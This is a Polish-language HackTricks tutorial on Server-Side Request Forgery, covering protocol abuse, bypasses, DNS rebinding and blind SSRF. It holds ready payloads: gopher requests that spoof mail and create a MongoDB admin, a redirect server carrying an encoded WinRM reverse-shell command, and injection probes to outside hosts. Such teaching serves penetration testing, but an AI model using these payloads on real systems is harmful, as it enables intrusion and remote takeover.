SSRF (Server Side Request Forgery)
Reading time: 25 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Wrażliwość Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wysyłała żądania HTTP do wybranej przez niego domeny. Ta wrażliwość naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić interakcję HTTP lub DNS, możesz użyć narzędzi takich jak:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Burp Collaborator używający ngrok
Ominięcie dozwolonych domen
Zazwyczaj stwierdzisz, że SSRF działa tylko w niektórych dozwolonych domenach lub URL. Na poniższej stronie znajdziesz kompilację technik, aby spróbować obejść tę listę dozwolonych:
Ominięcie przez otwarty przekierowanie
Jeśli serwer jest poprawnie zabezpieczony, możesz obejść wszystkie ograniczenia, wykorzystując Otwarty Przekierowanie wewnątrz strony internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie śledzić przekierowania, możesz wykorzystać Otwarty Przekierowanie, aby serwer uzyskał dostęp do wewnętrznych zasobów.
Przeczytaj więcej tutaj: https://portswigger.net/web-security/ssrf
Protokoły
- file://
- Schemat URL
file://
jest odniesiony, wskazując bezpośrednio na/etc/passwd
:file:///etc/passwd
- dict://
- Schemat URL DICT jest opisany jako wykorzystywany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP, który może być potencjalnie nadużyty do połączenia z serwerem DICT przy użyciu danych uwierzytelniających dostarczonych przez atakującego:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Zidentyfikowany jako protokół do bezpiecznego transferu plików przez bezpieczny shell, podano przykład ilustrujący, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP:
url=sftp://generic.com:11111/
- TFTP://
- Protokół Trivial File Transfer, działający przez UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Ten segment dotyczy Lightweight Directory Access Protocol, podkreślając jego zastosowanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacji katalogowych przez sieci IP. Interakcja z serwerem LDAP na localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Opisano metodę wykorzystywania wrażliwości SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen oraz dalsze działania dochodzeniowe na podstawie tych informacji.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - omijanie WAF
- Jeśli SSRF jest wykonywane przez curl, curl ma funkcję zwaną URL globbing, która może być przydatna do omijania WAF. Na przykład w tym opisie możesz znaleźć ten przykład dla przechodzenia ścieżki za pomocą protokołu
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Omówiono zdolność protokołu Gopher do określania IP, portu i bajtów do komunikacji z serwerem, a także narzędzia takie jak Gopherus i remote-method-guesser do tworzenia ładunków. Ilustrowane są dwa różne zastosowania:
Gopher://
Korzystając z tego protokołu, możesz określić IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz zasadniczo wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz najpierw wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus do tworzenia ładunków dla kilku usług. Dodatkowo, remote-method-guesser może być użyty do tworzenia gopher ładunków dla usług Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Powrót do 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i z uprawnieniami=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF poprzez nagłówek Referrer i inne
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co niezamierzenie naraża aplikacje na podatności typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer, aby analizować treść stron referencyjnych. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", która wykorzystuje sposób przetwarzania nagłówka Referer przez narzędzia analityczne do identyfikacji potencjalnych powierzchni ataku SSRF.
SSRF poprzez dane SNI z certyfikatu
Błędna konfiguracja, która może umożliwić połączenie z dowolnym zapleczem poprzez prostą konfigurację, jest ilustrowana przykładem konfiguracji Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Ta konfiguracja naraża na podatność na Server-Side Request Forgery (SSRF), która może być wykorzystana poprzez po prostu określenie żądanego adresu IP lub nazwy domeny w polu SNI. Przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak internal.host.com
, przy użyciu polecenia openssl
podano poniżej:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget file upload
SSRF z wstrzyknięciem poleceń
Może warto spróbować ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderowanie PDF
Jeśli strona internetowa automatycznie tworzy PDF z informacjami, które podałeś, możesz wstawić trochę JS, które zostanie wykonane przez twórcę PDF (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.
Od SSRF do DoS
Utwórz kilka sesji i spróbuj pobrać duże pliki, wykorzystując SSRF z sesji.
Funkcje PHP SSRF
Sprawdź następującą stronę w poszukiwaniu podatnych funkcji PHP, a nawet Wordpress:
SSRF Przekierowanie do Gopher
Do niektórych exploitów może być konieczne wysłanie odpowiedzi z przekierowaniem (potencjalnie w celu użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody w Pythonie, aby odpowiedzieć z przekierowaniem:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Źle skonfigurowane proxy do SSRF
Triki z tego posta.
Flask
Wrażliwy kod proxy Flask
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Flask pozwala używać @
jako znaku początkowego, co pozwala na uczynienie początkowej nazwy hosta nazwą użytkownika i wstrzyknięcie nowej. Żądanie ataku:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Wrażliwy kod:
.png)
Odkryto, że możliwe jest rozpoczęcie ścieżki żądania od znaku ;
, co pozwala następnie użyć @
i wstrzyknąć nowy host do dostępu. Żądanie ataku:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Wbudowany Serwer WWW
Vulnerable PHP code
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP pozwala na użycie znaku *
przed ukośnikiem w ścieżce URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej /
oraz że kropki .
nie są dozwolone przed pierwszym ukośnikiem, więc konieczne jest użycie adresu IP zakodowanego w formacie hex bez kropek, na przykład:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Jeśli masz problemy z ekstrahowaniem treści z lokalnego IP z powodu CORS/SOP, DNS Rebidding może być użyty do obejścia tego ograniczenia:
CORS - Misconfigurations & Bypass
Zautomatyzowane DNS Rebidding
Singularity of Origin
to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do ponownego powiązania adresu IP nazwy DNS serwera atakującego z adresem IP maszyny docelowej oraz do dostarczania ładunków atakujących w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
Sprawdź również publicznie działający serwer w http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Wymagania:
- SSRF
- Wychodzące sesje TLS
- Rzeczy na lokalnych portach
Atak:
- Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
- TTL DNS wynosi 0 sek (więc ofiara wkrótce sprawdzi IP domeny ponownie)
- Tworzona jest połączenie TLS między ofiarą a domeną atakującego. Atakujący wprowadza ładunek wewnątrz Session ID lub Session Ticket.
- Domena rozpocznie nieskończoną pętlę przekierowań przeciwko sobie. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona żądanie DNS tej domeny.
- W żądaniu DNS podawany jest prywatny adres IP teraz (na przykład 127.0.0.1)
- Użytkownik/bot spróbuje przywrócić połączenie TLS i w tym celu wyśle Session ID/Ticket ID (gdzie zawarty był ładunek atakującego). Gratulacje, udało ci się poprosić użytkownika/bota o atak na siebie.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port musi być zawsze ten sam).
Aby przeprowadzić ten atak, możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Aby uzyskać więcej informacji, zapoznaj się z prezentacją, w której ten atak jest wyjaśniony: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Różnica między ślepym SSRF a nieslepym polega na tym, że w ślepym nie możesz zobaczyć odpowiedzi na żądanie SSRF. W związku z tym jest to trudniejsze do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.
Czasowy SSRF
Sprawdzając czas odpowiedzi z serwera, może być możliwe ustalenie, czy zasób istnieje, czy nie (może zajmuje więcej czasu uzyskanie dostępu do istniejącego zasobu niż do zasobu, który nie istnieje)
Od ślepego do pełnego wykorzystywania kodów statusu
Zgodnie z tym postem na blogu, niektóre ślepe SSRF mogą wystąpić, ponieważ nawet jeśli docelowy URL odpowiada kodem statusu 200 (jak metadane AWS), te dane nie są poprawnie sformatowane i dlatego aplikacja może odmówić ich wyświetlenia.
Jednakże stwierdzono, że wysyłając niektóre odpowiedzi przekierowujące od 305 do 309 w SSRF, może być możliwe, aby aplikacja podążała za tymi przekierowaniami, wchodząc w tryb błędu, który nie będzie już sprawdzał formatu danych i może je po prostu wydrukować.
Serwer python użyty do wykorzystania tego to:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Kroki:
- Najpierw 302 powoduje, że aplikacja zaczyna podążać.
- Następnie otrzymuje 305 → 306 → 307 → 308 → 309 → 310.
- Po 5. dziwnym kodzie PoC w końcu zwraca 302 → 169.254.169.254 → 200 OK.
Co się dzieje wewnątrz celu:
- libcurl sam w sobie podąża za 305–310; po prostu normalizuje nieznane kody do „podążaj”.
- Po N dziwnych przekierowaniach (≥ 5 tutaj) własny wrapper aplikacji decyduje, że „coś jest nie tak” i przełącza się w tryb błędu przeznaczony do debugowania.
- W tym trybie zrzuca cały łańcuch przekierowań oraz końcowe ciało z powrotem do zewnętrznego wywołującego.
- Wynik: atakujący widzi każdy nagłówek + metadane JSON, misja zakończona.
Zauważ, że to jest interesujące, aby ujawniać kody statusu, których wcześniej nie mogłeś ujawniać (jak 200). Jednak jeśli w jakiś sposób mógłbyś również wybrać kod statusu odpowiedzi (wyobraź sobie, że możesz zdecydować, że metadane AWS odpowiadają kodem statusu 500), mogą istnieć kody statusu, które bezpośrednio ujawniają treść odpowiedzi.
Eksploatacja SSRF w chmurze
Jeśli znajdziesz lukę SSRF w maszynie działającej w środowisku chmurowym, możesz być w stanie uzyskać interesujące informacje o środowisku chmurowym, a nawet dane uwierzytelniające:
Platformy podatne na SSRF
Kilka znanych platform zawiera lub zawierało luki SSRF, sprawdź je w:
Narzędzia
SSRFMap
Narzędzie do wykrywania i eksploatacji luk SSRF
Gopherus
To narzędzie generuje ładunki Gopher dla:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser to skaner luk Java RMI, który wspiera operacje ataku dla najczęstszych luk Java RMI. Większość dostępnych operacji wspiera opcję --ssrf
, aby wygenerować ładunek SSRF dla żądanej operacji. Razem z opcją --gopher
, gotowe do użycia ładunki gopher mogą być generowane bezpośrednio.
SSRF Proxy
SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klientów przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).
Aby ćwiczyć
Odniesienia
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.